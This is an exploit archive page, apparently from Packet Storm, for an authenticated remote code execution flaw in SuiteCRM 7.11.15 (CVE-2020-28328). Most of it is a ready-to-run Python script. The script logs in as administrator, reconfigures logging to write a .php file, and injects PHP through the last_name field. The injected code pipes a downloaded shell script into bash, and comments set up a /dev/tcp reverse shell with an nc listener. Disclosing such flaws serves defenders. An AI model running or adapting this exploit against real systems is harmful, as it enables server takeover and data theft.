what you don't know can hurt you

SuiteCRM 7.11.15 Remote Code Execution

SuiteCRM 7.11.15 Remote Code Execution
Posted Nov 9, 2020
Authored by M. Cory Billington

SuiteCRM version 7.11.15 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-28328
MD5 | 5f0ce04e7d4e850a72437c6c052dbe1d

SuiteCRM 7.11.15 Remote Code Execution

Change Mirror Download
# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)
# Date: 08 NOV 2020
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://github.com/salesagility/SuiteCRM
# Version: 7.11.15 and below
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2020-28328
# Writeup: https://github.com/mcorybillington/SuiteCRM-RCE

from requests import Session
from random import choice
from string import ascii_lowercase

url = "http://127.0.0.1/" # URL to remote host web root
post_url = "{url}index.php".format(url=url)
user_name = "admin" # User must be an administrator
password = "admin"
prefix = 'shell-'
file_name = '{prefix}{rand}.php'.format(
prefix=prefix,
rand=''.join(choice(ascii_lowercase) for _ in range(6))
)

# *Recommend K.I.S.S as some characters are escaped*
# Example for reverse shell:
# Put 'bash -c '(bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)&' inside a file named shell.sh
# Stand up a python web server `python -m http.server 80` hosting shell.sh
# Set a nc listener to catch the shell 'nc -nlvp 8080'
command = '<?php `curl -s http://127.0.0.1/shell.sh | bash`; ?>'.format(fname=file_name)

# Admin login payload
login_data = {
"module": "Users",
"action": "Authenticate",
"return_module": "Users",
"return_action": "Login",
"user_name": user_name,
"username_password": password,
"Login": "Log+In"
}

# Payload to set logging to 'info' and create a log file in php format.
modify_system_settings_data = {
"action": (None, "SaveConfig"),
"module": (None, "Configurator"),
"logger_file_name": (None, file_name), # Set file extension in the file name as it isn't checked here
"logger_file_ext": (None, ''), # Bypasses file extension check by just not setting one.
"logger_level": (None, "info"), # This is important for your php code to make it into the logs
"save": (None, "Save")
}

# Payload to put php code into the malicious log file
poison_log = {
"module": (None, "Users"),
"record": (None, "1"),
"action": (None, "Save"),
"page": (None, "EditView"),
"return_action": (None, "DetailView"),
"user_name": (None, user_name),
"last_name": (None, command),
}

# Payload to restore the log file settings to default after the exploit runs
restore_log = {
"action": (None, "SaveConfig"),
"module": (None, "Configurator"),
"logger_file_name": (None, "suitecrm"), # Default log file name
"logger_file_ext": (None, ".log"), # Default log file extension
"logger_level": (None, "fatal"), # Default log file setting
"save": (None, "Save")
}

# Start of exploit
with Session() as s:

# Authenticating as the administrator
s.get(post_url, params={'module': 'Users', 'action': 'Login'})
print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID'])
s.post(post_url, data=login_data)
if 'ck_login_id_20' not in s.cookies.get_dict().keys():
print('[-] Invalid password for: {user}'.format(user=user_name))
exit(1)
print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format(
user=user_name,
cookie=s.cookies.get_dict()['PHPSESSID'])
)

# Modify the system settings to set logging to 'info' and create a log file in php format
print('[+] Modifying log level and log file name.')
print('[+] File name will be: {fname}'.format(fname=file_name))
settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
s.post(post_url, headers=settings_header, files=modify_system_settings_data)

# Post to update the administrator's last name with php code that will poison the log file
print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command))
command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
s.post(url, headers=command_header, files=poison_log)

# May be a good idea to put a short delay in here to allow your code to make it into the logfile.
# Up to you though...

# Do a get request to trigger php code execution.
print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name))
execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1)
if not execute_command.ok:
print('[-] Exploit failed, sorry... Might have to do some modifications.')

# Restoring log file to default
print('[+] Setting log back to defaults')
s.post(post_url, headers=settings_header, files=restore_log)

print('[+] Done. Clean up {fname} if you care...'.format(fname=file_name))
Login or Register to add favorites

File Archive:

December 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    22 Files
  • 2
    Dec 2nd
    33 Files
  • 3
    Dec 3rd
    16 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close